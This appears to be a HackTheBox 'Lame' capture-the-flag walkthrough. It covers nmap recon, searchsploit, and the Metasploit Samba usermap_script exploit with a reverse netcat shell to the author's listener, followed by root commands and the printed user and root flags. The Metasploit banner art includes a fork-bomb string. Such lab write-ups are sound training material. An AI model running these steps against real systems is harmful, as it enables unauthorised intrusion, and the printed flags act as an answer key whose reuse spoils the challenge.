· Abhinav Kumar · HackTheBox · 5 min read
HackTheBox - Lame Walkthrough
HackTheBox Lame machine is a Linux machine , easy for starters.
Lame
HackTheBox Link to Lame Machine - HTB Lame
Table of Contents
Initial Recon
Initial Nmap Scan for the machine/endpoint
The default scan gives no results , using -Pn switch gives FTP, SSH, NetBIOS, and SMB ports, scanning for all ports adds one more open port - 3632 . So we scan all these ports for Service versions.
┌──(abhinav㉿ETHICALHACKX)-[~]
└─$ nmap lame.htb
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.04 seconds
┌──(abhinav㉿ETHICALHACKX)-[~]
└─$ nmap -Pn -p- -T5 lame.htb
Nmap scan report for lame.htb (10.10.10.3)
Host is up (0.050s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3632/tcp open distccd
Nmap done: 1 IP address (1 host up) scanned in 72.35 seconds
┌──(abhinav㉿ETHICALHACKX)-[~]
└─$ nmap -sC -sV -Pn -p 21,22,139,445,3632 -T5 lame.ht
Nmap scan report for lame.htb (10.10.10.3)
Host is up (0.049s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.10
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_ 2048 5656240f211ddea72bae61b1243de8f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2023-05-27T18:44:56-04:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 2h00m42s, deviation: 2h49m43s, median: 41s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.88 seconds
Searching Exploits
vsftpd anonymous Login to FTP did not give any results, hence looking at SMB.
┌──(abhinav㉿ETHICALHACKX)-[~]
└─$ searchsploit vsftpd 2.3.4
----------- ---------------------------------
Exploit Title | Path
----------- ---------------------------------
vsftpd 2.3 | unix/remote/17491.rb
vsftpd 2.3 | unix/remote/49757.py
----------- ---------------------------------
Shellcodes: No Results
┌──(abhinav㉿ETHICALHACKX)-[~]
└─$ searchsploit samba 3.0.20
----------- ---------------------------------
Exploit Title | Path
----------- ---------------------------------
Samba 3.0. | multiple/remote/10095.txt
Samba 3.0. | unix/remote/16320.rb
Samba < 3. | linux/remote/7701.txt
Samba < 3. | linux_x86/dos/36741.py
----------- ---------------------------------
Shellcodes: No Results
Exploitation
Searching Exploits in Metasploit and setting the options .
┌──(abhinav㉿ETHICALHACKX)-[~]
└─$ sudo msfdb start
[sudo] password for abhinav:
[+] Starting database
┌──(abhinav㉿ETHICALHACKX)-[~]
└─$ msfconsole
`:oDFo:`
./ymM0dayMmy/.
-+dHJ5aGFyZGVyIQ==+-
`:sm⏣~~Destroy.No.Data~~s:`
-+h2~~Maintain.No.Persistence~~h+-
`:odNo2~~Above.All.Else.Do.No.Harm~~Ndo:`
./etc/shadow.0days-Data'%20OR%201=1--.No.0MN8'/.
-++SecKCoin++e.AMd` `.-://///+hbove.913.ElsMNh+-
-~/.ssh/id_rsa.Des- `htN01UserWroteMe!-
:dopeAW.No<nano>o :is:TЯiKC.sudo-.A:
:we're.all.alike'` The.PFYroy.No.D7:
:PLACEDRINKHERE!: yxp_cmdshell.Ab0:
:msf>exploit -j. :Ns.BOB&ALICEes7:
:---srwxrwx:-.` `MS146.52.No.Per:
:<script>.Ac816/ sENbove3101.404:
:NT_AUTHORITY.Do `T:/shSYSTEM-.N:
:09.14.2011.raid /STFU|wall.No.Pr:
:hevnsntSurb025N. dNVRGOING2GIVUUP:
:#OUTHOUSE- -s: /corykennedyData:
:$nmap -oS SSo.6178306Ence:
:Awsm.da: /shMTl#beats3o.No.:
:Ring0: `dDestRoyREXKC3ta/M:
:23d: sSETEC.ASTRONOMYist:
/- /yo- .ence.N:(){ :|: & };:
`:Shall.We.Play.A.Game?tron/
```-ooy.if1ghtf0r+ehUser5`
..th3.H1V3.U2VjRFNN.jMh+.`
`MjM~~WE.ARE.se~~MMjMs
+~KANSAS.CITY's~-`
J~HAKCERS~./.`
.esc:wq!:`
+++ATH`
`
=[ metasploit v6.3.16-dev ]
+ -- --=[ 2315 exploits - 1208 auxiliary - 412 post ]
+ -- --=[ 975 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Adapter names can be used for IP params
set LHOST eth0
Metasploit Documentation: https://docs.metasploit.com/
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > search samba 3.0.20
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:p
ort][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com
/docs/using-metasploit/basics/using-metasploit.html
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.211.55.11 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(multi/samba/usermap_script) > set rhost lame.htb
rhost => lame.htb
msf6 exploit(multi/samba/usermap_script) > set lhost tun0
lhost => 10.10.14.10
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.10.14.10:4444
[*] Command shell session 1 opened (10.10.14.10:4444 -> 10.10.10.3:45549) at 2023-05-28 22:32:45 +0530
Flags && Reverse Shell
Checking the user on Shell session we notice we are now root, so we can read through all the flags , user flag present in makis user directory and root at usual location
[*] Started reverse TCP handler on 10.10.14.10:4444
[*] Command shell session 1 opened (10.10.14.10:4444 -> 10.10.10.3:45549) at 2023-05-28 22:32:45 +0530
whoami
root
pwd
/
cd home
ls
ftp
makis
service
user
cd user
ls
cd ..
cd makis
ls
user.txt
cat user.txt
030cbd25cfc0f796f630983ded15fc38
cat /root/root.txt
db586d142eae0e9f16ff5a4deb4bb0c2
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